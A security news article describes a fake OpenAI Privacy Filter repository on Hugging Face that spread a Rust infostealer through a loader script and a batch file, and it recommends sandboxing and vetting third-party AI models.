A Fake OpenAI Release and a Real Malware Problem
HiddenLayer researchers recently uncovered a malicious repository on Hugging Face that impersonated an OpenAI Privacy Filter release under the name "Open-OSS/privacy-filter." The attackers copied the legitimate model card and README almost verbatim, then slipped in a loader.py script and a start.bat file that formed the core of the infection chain. Before the repository was removed, it recorded around 244,000 downloads and climbed into the platform’s trending list with hundreds of likes—figures that may have been artificially boosted to increase perceived legitimacy. Once executed on Windows hosts, the malicious loader disabled SSL verification, retrieved instructions from jsonkeeper.com, and used PowerShell to pull down additional payloads. The final stage was a Rust-based infostealer targeting browsers, Discord storage, cryptocurrency wallets, and more, while attempting to weaken built-in Windows security mechanisms.
Why AI Model Platforms Are Prime Targets for Supply Chain Attacks
AI model registries like Hugging Face have become high-value targets because they sit at the intersection of trust and scale. Developers and data scientists routinely clone repositories directly into development or production environments that have access to source code, cloud credentials, and internal systems. This makes any compromise far more serious than a simple nuisance. Attackers increasingly see AI development workflows as a backdoor into otherwise well-defended networks. Public AI repositories often bundle executable components—setup scripts, notebooks, dependency files, and custom loaders—alongside the actual models. These peripheral artifacts are ideal vehicles for hidden malware and can evade traditional malware detection and software composition analysis tools, which were designed around libraries and container images, not AI model security. With rapid industry adoption, model repository safety is now a core part of the software supply chain, not an edge concern.
The Hidden Complexity of AI Model Security
The Hugging Face incident underscores how subtle malicious logic can be embedded in what looks like standard AI tooling. In this case, loader.py began with decoy code resembling a normal model loader before shifting into a concealed infection chain. The script’s ability to pull commands from a remote service such as jsonkeeper.com allowed the attacker to rotate payloads without altering the repository’s visible contents. Previous incidents have shown that Pickle-serialised models can bypass platform scanners, illustrating that threats may lurk inside both model binaries and the surrounding glue code. Traditional security tools struggle here: they generally inspect known dependency manifests, containers, or compiled binaries rather than ad hoc scripts embedded in AI workflows. As organisations accelerate AI adoption, this gap leaves a growing attack surface where malware detection, policy enforcement, and model repository safety practices are still catching up with reality.
Evolving Best Practices for Vetting and Sandboxing AI Models
For developers, the lesson is clear: treat third-party AI models as untrusted code. Any repository that asks you to run custom scripts such as start.bat or python loader.py should be scrutinised before execution, particularly on Windows hosts. Where possible, clone and test models inside isolated environments or sandboxes with limited network and credential access. Implement stricter review for trending or newly popular projects, since popularity metrics can be manipulated. Organisations should extend software supply chain policies to cover AI artefacts by tracking where models come from, which versions are approved, and whether repositories contain executable components. Building an AI-focused bill of materials and integrating specialised AI model security scanning into CI/CD pipelines can help close current gaps. Ultimately, robust model vetting, runtime monitoring, and cautious integration practices will be essential to reduce the risk of AI-driven supply chain attacks.